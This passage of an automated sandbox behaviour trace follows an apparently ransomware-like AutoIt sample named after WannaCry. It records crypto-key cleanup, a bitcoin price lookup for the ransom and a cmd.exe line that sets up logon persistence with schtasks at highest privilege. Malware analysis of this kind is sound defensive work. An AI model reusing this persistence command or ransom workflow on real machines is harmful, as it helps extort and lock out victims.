lpMsg=0xe8f3dff7a0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.359] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff2f0) returned 0 [0030.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfea50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea50) returned 0 [0030.359] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.359] CryptDestroyKey (hKey=0xe8f4061df0) returned 1 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff2f0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff2f0) returned 0 [0030.359] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfefd0) returned 0 [0030.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfecb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfecb0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfecb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfecb0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfefd0) returned 0 [0030.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfe9c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9c0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfefd0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfefd0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff2f0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff2f0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.360] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dfef00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef00) returned 0 [0030.360] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.360] PeekMessageW (in: lpMsg=0xe8f3dfef00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef00) returned 0 [0030.360] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.360] CryptReleaseContext (hProv=0xe8f4067bb0, dwFlags=0x0) returned 1 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dfef00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef00) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.360] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0030.360] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0030.361] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0030.361] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.361] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.361] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.361] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0030.361] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.361] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.422] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.422] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.422] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.422] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0030.422] PeekMessageW (in: lpMsg=0xe8f3dfdfb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfb0) returned 0 [0030.422] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.439] NetApiBufferSize (in: Buffer=0xe8f43606e0, ByteCount=0xe8f3dfd728 | out: ByteCount=0xe8f3dfd728) returned 0x0 [0030.439] PeekMessageW (in: lpMsg=0xe8f3dfdfb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfb0) returned 0 [0030.439] PeekMessageW (in: lpMsg=0xe8f3dfdfb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfb0) returned 0 [0030.439] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0030.439] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.439] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.439] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfe850, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe850) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dfef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfef30) returned 0 [0030.442] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0030.442] InternetCrackUrlW (in: lpszUrl="https://blockchain.info/tobtc?currency=USD&value=1500", dwUrlLength=0x35, dwFlags=0x0, lpUrlComponents=0xe8f3dfecd0 | out: lpUrlComponents=0xe8f3dfecd0) returned 1 [0030.443] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0030.470] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0xe8f3dfed70, dwBufferLength=0x8) returned 1 [0030.470] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0xe8f3dfed70 | out: lpBuffer=0x0, lpdwBufferLength=0xe8f3dfed70) returned 0 [0030.477] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0xe8f4179980, lpdwBufferLength=0xe8f3dfed70 | out: lpBuffer=0xe8f4179980, lpdwBufferLength=0xe8f3dfed70) returned 1 [0030.477] InternetConnectW (hInternet=0xcc0004, lpszServerName="blockchain.info", nServerPort=0x1bb, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0030.478] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/tobtc?currency=USD&value=1500", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x800000, dwContext=0x0) returned 0xcc000c [0030.486] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0031.190] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xe8f3dfecd0, lpdwBufferLength=0xe8f3dfece8, lpdwIndex=0xe8f3dfece0*=0x0 | out: lpBuffer=0xe8f3dfecd0*, lpdwBufferLength=0xe8f3dfece8*=0x4, lpdwIndex=0xe8f3dfece0*=0x0) returned 1 [0031.190] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0xe8f3dfed10, lpdwBufferLength=0xe8f3dfed78, lpdwIndex=0xe8f3dfed70*=0x0 | out: lpBuffer=0xe8f3dfed10, lpdwBufferLength=0xe8f3dfed78, lpdwIndex=0xe8f3dfed70*=0x0) returned 0 [0031.190] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xe8f3dfece8, dwFlags=0x0, dwContext=0x0) returned 1 [0031.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe8f41796e0, dwNumberOfBytesToRead=0xa, lpdwNumberOfBytesRead=0xe8f3dfece0 | out: lpBuffer=0xe8f41796e0*, lpdwNumberOfBytesRead=0xe8f3dfece0*=0xa) returned 1 [0031.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe8f417a820, dwNumberOfBytesToRead=0xa, lpdwNumberOfBytesRead=0xe8f3dfece0 | out: lpBuffer=0xe8f417a820*, lpdwNumberOfBytesRead=0xe8f3dfece0*=0x0) returned 1 [0031.192] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0031.192] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0031.192] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0031.192] CloseHandle (hObject=0x0) returned 0 [0031.192] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 1 [0031.192] TranslateMessage (lpMsg=0xe8f3dff540) returned 0 [0031.192] DispatchMessageW (lpMsg=0xe8f3dff540) returned 0x0 [0031.192] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfeb70) returned 1 [0031.196] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0031.196] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0031.196] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0031.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f4178aa0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0031.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f4178aa0, cbMultiByte=11, lpWideCharStr=0xe8f4179a20, cchWideChar=11 | out: lpWideCharStr="0.44407866") returned 11 [0031.197] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0031.197] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0031.197] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0031.197] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dffa20, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dffa20*=0) returned 1 [0031.197] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.197] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff9d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff9d0*=0) returned 1 [0031.198] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff9c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff9c0*=0) returned 1 [0031.198] ReadFile (in: hFile=0x6b4, lpBuffer=0xe8f601a600, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dffa00, lpOverlapped=0x0 | out: lpBuffer=0xe8f601a600*, lpNumberOfBytesRead=0xe8f3dffa00*=0x0, lpOverlapped=0x0) returned 1 [0031.198] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.198] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff9d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff9d0*=0) returned 1 [0031.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="$1000 = 0.44407866 Bitcoins", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0031.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="$1000 = 0.44407866 Bitcoins", cchWideChar=28, lpMultiByteStr=0xe8f43c3810, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$1000 = 0.44407866 Bitcoins", lpUsedDefaultChar=0x0) returned 28 [0031.198] WriteFile (in: hFile=0x6b4, lpBuffer=0xe8f43c3840*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0xe8f3dffa20, lpOverlapped=0x0 | out: lpBuffer=0xe8f43c3840*, lpNumberOfBytesWritten=0xe8f3dffa20*=0x1b, lpOverlapped=0x0) returned 1 [0031.198] CloseHandle (hObject=0x6b4) returned 1 [0031.199] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0031.199] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631")) returned 0xffffffff [0031.200] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631", lpFindFileData=0xe8f3dff870 | out: lpFindFileData=0xe8f3dff870) returned 0xffffffffffffffff [0031.200] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0 [0031.200] GetLastError () returned 0x6 [0031.200] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0031.200] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0031.200] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0031.200] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0031.200] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0031.200] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xe8f41621a0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0031.200] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe8f3dff6e0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8f3dff670 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xe8f3dff670*(hProcess=0x6b8, hThread=0x6b4, dwProcessId=0x880, dwThreadId=0xb14)) returned 1 [0031.209] CloseHandle (hObject=0x6b4) returned 1 [0031.209] CloseHandle (hObject=0x6b8) returned 1 [0031.209] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0031.209] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0031.209] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0031.210] LockWindowUpdate (hWndLock=0x0) returned 0 [0031.210] DestroyWindow (hWnd=0x3002c) returned 1 [0031.210] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0031.210] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0031.210] Shell_NotifyIconW (dwMessage=0x2, lpData=0xe8f3dff490) returned 1 [0031.216] PostQuitMessage (nExitCode=0) [0031.216] GetMessageW (in: lpMsg=0xe8f3dffc18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe8f3dffc18) returned 0 [0031.222] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0031.222] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 0 [0031.223] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0031.224] OleUninitialize () [0031.224] DestroyCursor (hCursor=0x601c7) returned 0 [0031.225] ExitProcess (uExitCode=0x0) Thread: id = 85 os_tid = 0x654 Thread: id = 86 os_tid = 0x65c Thread: id = 96 os_tid = 0x858 Thread: id = 100 os_tid = 0x8f8 Thread: id = 109 os_tid = 0x5f8 Thread: id = 110 os_tid = 0x8ec Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5e926000" os_pid = "0xb74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Windows\\system32\\cmd.exe /c schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 211 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 212 start_va = 0xc2ce910000 end_va = 0xc2ce92ffff entry_point = 0x0 region_type = private name = "private_0x000000c2ce910000" filename = "" Region: id = 213 start_va = 0xc2ce930000 end_va = 0xc2ce93efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c2ce930000" filename = "" Region: id = 214 start_va = 0xc2ce940000 end_va = 0xc2cea3ffff entry_point = 0x0 region_type = private name = "private_0x000000c2ce940000" filename = "" Region: id = 215 start_va = 0xc2cea40000 end_va = 0xc2cea43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c2cea40000" filename = "" Region: id = 216 start_va = 0xc2cea50000 end_va = 0xc2cea50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c2cea50000" filename = "" Region: id = 217 start_va = 0xc2cea60000 end_va = 